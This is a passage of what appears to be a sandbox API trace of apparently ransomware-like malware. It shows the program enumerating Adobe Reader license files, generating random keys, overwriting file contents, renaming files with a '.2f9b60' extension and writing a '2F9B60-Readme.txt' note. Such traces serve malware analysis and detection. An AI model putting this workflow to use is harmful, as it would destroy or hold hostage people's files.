lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2e8c [0228.815] GetFileSizeEx (in: hFile=0x2e8c, lpFileSize=0x2220fae0 | out: lpFileSize=0x2220fae0*=1040) returned 1 [0228.815] SetFilePointerEx (in: hFile=0x2e8c, liDistanceToMove=0x40c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.815] ReadFile (in: hFile=0x2e8c, lpBuffer=0x2220fa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2220faa8, lpOverlapped=0x0 | out: lpBuffer=0x2220fa60*, lpNumberOfBytesRead=0x2220faa8*=0x4, lpOverlapped=0x0) returned 1 [0228.932] SetFilePointerEx (in: hFile=0x2e8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb29f0 [0228.933] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3230 [0228.933] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3e90 [0228.933] NtQuerySystemTime (in: CurrentTime=0x2220f9a0 | out: CurrentTime=0x2220f9a0*=132462178329310000) returned 0x0 [0228.933] RtlRandomEx (in: Seed=0x2220f990 | out: Seed=0x2220f990) returned 0xfd61c1f [0228.933] RtlRandomEx (in: Seed=0x2220f990 | out: Seed=0x2220f990) returned 0x68753788 [0228.933] RtlRandomEx (in: Seed=0x2220f990 | out: Seed=0x2220f990) returned 0x31faf41b [0228.934] RtlRandomEx (in: Seed=0x2220f990 | out: Seed=0x2220f990) returned 0x268196bb [0228.934] RtlRandomEx (in: Seed=0x2220f990 | out: Seed=0x2220f990) returned 0x582856c6 [0228.934] RtlRandomEx (in: Seed=0x2220f990 | out: Seed=0x2220f990) returned 0x780a2d45 [0228.934] RtlRandomEx (in: Seed=0x2220f990 | out: Seed=0x2220f990) returned 0x49682dd8 [0228.934] RtlRandomEx (in: Seed=0x2220f990 | out: Seed=0x2220f990) returned 0x799bdc3f [0228.934] RtlRandomEx (in: Seed=0x2220f990 | out: Seed=0x2220f990) returned 0x53b8cd57 [0228.934] RtlRandomEx (in: Seed=0x2220f990 | out: Seed=0x2220f990) returned 0x1f10c073 [0228.934] RtlRandomEx (in: Seed=0x2220f990 | out: Seed=0x2220f990) returned 0xd44af36 [0228.934] RtlRandomEx (in: Seed=0x2220f990 | out: Seed=0x2220f990) returned 0x623800a6 [0228.934] RtlRandomEx (in: Seed=0x2220f990 | out: Seed=0x2220f990) returned 0x55b03adc [0228.934] RtlRandomEx (in: Seed=0x2220f990 | out: Seed=0x2220f990) returned 0x56acc689 [0228.934] RtlRandomEx (in: Seed=0x2220f990 | out: Seed=0x2220f990) returned 0x7d845f5a [0228.934] RtlRandomEx (in: Seed=0x2220f990 | out: Seed=0x2220f990) returned 0x1474c1d7 [0228.934] RtlRandomEx (in: Seed=0x2220f990 | out: Seed=0x2220f990) returned 0x4d29e5cb [0228.934] RtlRandomEx (in: Seed=0x2220f990 | out: Seed=0x2220f990) returned 0x2ea2051b [0228.934] RtlRandomEx (in: Seed=0x2220f990 | out: Seed=0x2220f990) returned 0x25673496 [0228.934] RtlRandomEx (in: Seed=0x2220f990 | out: Seed=0x2220f990) returned 0x62f20593 [0228.934] RtlRandomEx (in: Seed=0x2220f990 | out: Seed=0x2220f990) returned 0x26a805f [0228.934] RtlRandomEx (in: Seed=0x2220f990 | out: Seed=0x2220f990) returned 0x339d4be5 [0228.934] RtlRandomEx (in: Seed=0x2220f990 | out: Seed=0x2220f990) returned 0x3dcedff9 [0228.934] RtlRandomEx (in: Seed=0x2220f990 | out: Seed=0x2220f990) returned 0x1d018f9a [0228.934] RtlRandomEx (in: Seed=0x2220f990 | out: Seed=0x2220f990) returned 0x20aef594 [0228.934] RtlRandomEx (in: Seed=0x2220f990 | out: Seed=0x2220f990) returned 0x47abd757 [0228.934] RtlRandomEx (in: Seed=0x2220f990 | out: Seed=0x2220f990) returned 0x3eb65b6 [0228.934] RtlRandomEx (in: Seed=0x2220f990 | out: Seed=0x2220f990) returned 0x5412da62 [0228.934] RtlRandomEx (in: Seed=0x2220f990 | out: Seed=0x2220f990) returned 0xda82663 [0228.934] RtlRandomEx (in: Seed=0x2220f990 | out: Seed=0x2220f990) returned 0x7b3abffa [0228.934] RtlRandomEx (in: Seed=0x2220f990 | out: Seed=0x2220f990) returned 0xddca0a2 [0228.934] RtlRandomEx (in: Seed=0x2220f990 | out: Seed=0x2220f990) returned 0x34704692 [0228.943] ReadFile (in: hFile=0x2e8c, lpBuffer=0x420a3dd0, nNumberOfBytesToRead=0x410, lpNumberOfBytesRead=0x2220f990, lpOverlapped=0x0 | out: lpBuffer=0x420a3dd0*, lpNumberOfBytesRead=0x2220f990*=0x410, lpOverlapped=0x0) returned 1 [0228.944] SetFilePointerEx (in: hFile=0x2e8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.944] WriteFile (in: hFile=0x2e8c, lpBuffer=0x42085d50*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x2220f994, lpOverlapped=0x0 | out: lpBuffer=0x42085d50*, lpNumberOfBytesWritten=0x2220f994*=0x410, lpOverlapped=0x0) returned 1 [0233.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0a10 [0233.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb09e0 [0233.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb09e0) returned 1 [0233.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42085d50) returned 1 [0233.118] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420a3dd0) returned 1 [0233.118] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8695c0) returned 1 [0233.118] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61ce0) returned 1 [0233.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1cdb09e0 [0233.119] SetFilePointerEx (in: hFile=0x2e8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.119] WriteFile (in: hFile=0x2e8c, lpBuffer=0x169b30*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2220fab0, lpOverlapped=0x0 | out: lpBuffer=0x169b30*, lpNumberOfBytesWritten=0x2220fab0*=0x102, lpOverlapped=0x0) returned 1 [0235.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61a10 [0235.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505090 [0235.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ef50 [0235.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ef50) returned 1 [0235.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82cfe0 [0235.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ef50 [0235.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dd50 [0235.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050dd50) returned 1 [0235.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0235.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61a10) returned 1 [0235.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x2050dd50 [0235.377] sprintf (in: _Dest=0x2050dd50, _Format="%c%c" | out: _Dest="a6") returned 2 [0235.377] sprintf (in: _Dest=0x2050dd52, _Format="%c%c" | out: _Dest="e7") returned 2 [0235.377] sprintf (in: _Dest=0x2050dd54, _Format="%c%c" | out: _Dest="1e") returned 2 [0235.377] sprintf (in: _Dest=0x2050dd56, _Format="%c%c" | out: _Dest="a2") returned 2 [0235.377] sprintf (in: _Dest=0x2050dd58, _Format="%c%c" | out: _Dest="ab") returned 2 [0235.377] sprintf (in: _Dest=0x2050dd5a, _Format="%c%c" | out: _Dest="91") returned 2 [0235.377] sprintf (in: _Dest=0x2050dd5c, _Format="%c%c" | out: _Dest="40") returned 2 [0235.377] sprintf (in: _Dest=0x2050dd5e, _Format="%c%c" | out: _Dest="e6") returned 2 [0235.377] sprintf (in: _Dest=0x2050dd60, _Format="%c%c" | out: _Dest="c7") returned 2 [0235.377] sprintf (in: _Dest=0x2050dd62, _Format="%c%c" | out: _Dest="23") returned 2 [0235.377] sprintf (in: _Dest=0x2050dd64, _Format="%c%c" | out: _Dest="17") returned 2 [0235.377] sprintf (in: _Dest=0x2050dd66, _Format="%c%c" | out: _Dest="c1") returned 2 [0235.377] sprintf (in: _Dest=0x2050dd68, _Format="%c%c" | out: _Dest="93") returned 2 [0235.377] sprintf (in: _Dest=0x2050dd6a, _Format="%c%c" | out: _Dest="2b") returned 2 [0235.377] sprintf (in: _Dest=0x2050dd6c, _Format="%c%c" | out: _Dest="b0") returned 2 [0235.377] sprintf (in: _Dest=0x2050dd6e, _Format="%c%c" | out: _Dest="1c") returned 2 [0235.378] RtlInitAnsiString (in: DestinationString=0x2220fb28, SourceString="a6e71ea2ab9140e6c72317c1932bb01c" | out: DestinationString="a6e71ea2ab9140e6c72317c1932bb01c") [0235.378] RtlAnsiStringToUnicodeString (in: DestinationString=0x2220faf8, SourceString="a6e71ea2ab9140e6c72317c1932bb01c", AllocateDestinationString=1 | out: DestinationString="a6e71ea2ab9140e6c72317c1932bb01c") returned 0x0 [0235.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1ce61ec0 [0235.378] wcscat (in: _Dest=0x205093f0, _Source="a6e71ea2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\a6e71ea2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\a6e71ea2" [0235.378] wcscat (in: _Dest=0x205093f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\a6e71ea2.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\a6e71ea2.2f9b60" [0235.378] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\a6e71ea2.2f9b60", NtPathName=0x2220fad0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\a6e71ea2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x202791f0 [0236.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202791f0) returned 1 [0236.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430ada80) returned 1 [0236.754] NtQueryInformationFile (in: FileHandle=0x2e8c, IoStatusBlock=0x2220fb38, FileInformation=0x2220fb48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2220fb38, FileInformation=0x2220fb48) returned 0x0 [0236.754] NtSetInformationFile (FileHandle=0x2e8c, IoStatusBlock=0x2220fb38, FileInformation=0x2220fb48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0236.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205093f0) returned 1 [0236.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61ec0) returned 1 [0236.993] FlushFileBuffers (hFile=0x2e8c) returned 1 [0238.192] CloseHandle (hObject=0x2e8c) returned 1 [0241.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x43144ca0 [0241.213] wcscpy (in: _Dest=0x43144ca0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\" [0241.213] wcscat (in: _Dest=0x43144ca0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\2F9B60-Readme.txt" [0241.213] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\enu\\2f9b60-readme.txt")) returned 0xffffffff [0241.213] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\enu\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x231c [0244.025] WriteFile (hFile=0x231c, lpBuffer=0x1b82f9a0, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2220f9f0, lpOverlapped=0x0) Thread: id = 3777 os_tid = 0x1180 [0227.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b86c840 [0227.611] wcscpy (in: _Dest=0x1b86c840, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP" [0227.611] wcscat (in: _Dest=0x1b86c840, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\" [0227.611] wcscat (in: _Dest=0x1b86c840, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\*" [0227.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027d1c0 [0227.611] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\*", lpFindFileData=0x2027d1c0 | out: lpFindFileData=0x2027d1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x431f9ea0 [0228.754] wcscmp (_String1=".", _String2=".") returned 0 [0228.754] FindNextFileW (in: hFindFile=0x431f9ea0, lpFindFileData=0x2027d1c0 | out: lpFindFileData=0x2027d1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.754] wcscmp (_String1="..", _String2=".") returned 1 [0228.754] wcscmp (_String1="..", _String2="..") returned 0 [0228.754] FindNextFileW (in: hFindFile=0x431f9ea0, lpFindFileData=0x2027d1c0 | out: lpFindFileData=0x2027d1c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0228.754] wcscmp (_String1="eula.ini", _String2=".") returned 1 [0228.755] wcscmp (_String1="eula.ini", _String2="..") returned 1 [0228.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x43154c30 [0228.755] wcscpy (in: _Dest=0x43154c30, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP" [0228.755] wcscat (in: _Dest=0x43154c30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\" [0228.755] wcscat (in: _Dest=0x43154c30, _Source="eula.ini" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini" [0228.756] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43154c30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1560 [0228.757] FindNextFileW (in: hFindFile=0x431f9ea0, lpFindFileData=0x2027d1c0 | out: lpFindFileData=0x2027d1c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcd60, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0228.757] wcscmp (_String1="license.html", _String2=".") returned 1 [0228.757] wcscmp (_String1="license.html", _String2="..") returned 1 [0228.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20508db0 [0228.758] wcscpy (in: _Dest=0x20508db0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP" [0228.758] wcscat (in: _Dest=0x20508db0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\" [0228.758] wcscat (in: _Dest=0x20508db0, _Source="license.html" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html" [0228.758] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20508db0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1adc [0228.759] FindNextFileW (in: hFindFile=0x431f9ea0, lpFindFileData=0x2027d1c0 | out: lpFindFileData=0x2027d1c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcd60, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0228.759] FindClose (in: hFindFile=0x431f9ea0 | out: hFindFile=0x431f9ea0) returned 1 [0228.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027d1c0) returned 1 [0228.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c840) returned 1 [0228.762] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868c40) returned 1 Thread: id = 3778 os_tid = 0x1ebc [0227.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b86cdc0 [0227.612] wcscpy (in: _Dest=0x1b86cdc0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ" [0227.612] wcscat (in: _Dest=0x1b86cdc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\" [0227.612] wcscat (in: _Dest=0x1b86cdc0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\*" [0227.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027e060 [0227.613] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\*", lpFindFileData=0x2027e060 | out: lpFindFileData=0x2027e060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x431f9ea0 [0228.765] wcscmp (_String1=".", _String2=".") returned 0 [0228.765] FindNextFileW (in: hFindFile=0x431f9ea0, lpFindFileData=0x2027e060 | out: lpFindFileData=0x2027e060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.765] wcscmp (_String1="..", _String2=".") returned 1 [0228.765] wcscmp (_String1="..", _String2="..") returned 0 [0228.765] FindNextFileW (in: hFindFile=0x431f9ea0, lpFindFileData=0x2027e060 | out: lpFindFileData=0x2027e060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x462, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0228.765] wcscmp (_String1="eula.ini", _String2=".") returned 1 [0228.765] wcscmp (_String1="eula.ini", _String2="..") returned 1 [0228.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x43154720 [0228.765] wcscpy (in: _Dest=0x43154720, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ" [0228.765] wcscat (in: _Dest=0x43154720, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\" [0228.765] wcscat (in: _Dest=0x43154720, _Source="eula.ini" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini" [0228.766] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43154720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x794 [0228.767] FindNextFileW (in: hFindFile=0x431f9ea0, lpFindFileData=0x2027e060 | out: lpFindFileData=0x2027e060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xaedb, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0228.767] wcscmp (_String1="license.html", _String2=".") returned 1 [0228.767] wcscmp (_String1="license.html", _String2="..") returned 1 [0228.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20508310 [0228.768] wcscpy (in: _Dest=0x20508310, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ" [0228.768] wcscat (in: _Dest=0x20508310, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\" [0228.768] wcscat (in: _Dest=0x20508310, _Source="license.html" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html" [0228.768] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\euq\\license.html")) returned 0x20 [0228.768] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html", dwFileAttributes=0x20) returned 1 [0228.769] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\euq\\license.html"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa38 [0228.770] GetFileSizeEx (in: hFile=0xa38, lpFileSize=0x1dc8f900 | out: lpFileSize=0x1dc8f900*=44763) returned 1 [0228.770] SetFilePointerEx (in: hFile=0xa38, liDistanceToMove=0xaed7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.770] ReadFile (in: hFile=0xa38, lpBuffer=0x1dc8f880, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1dc8f8c8, lpOverlapped=0x0 | out: 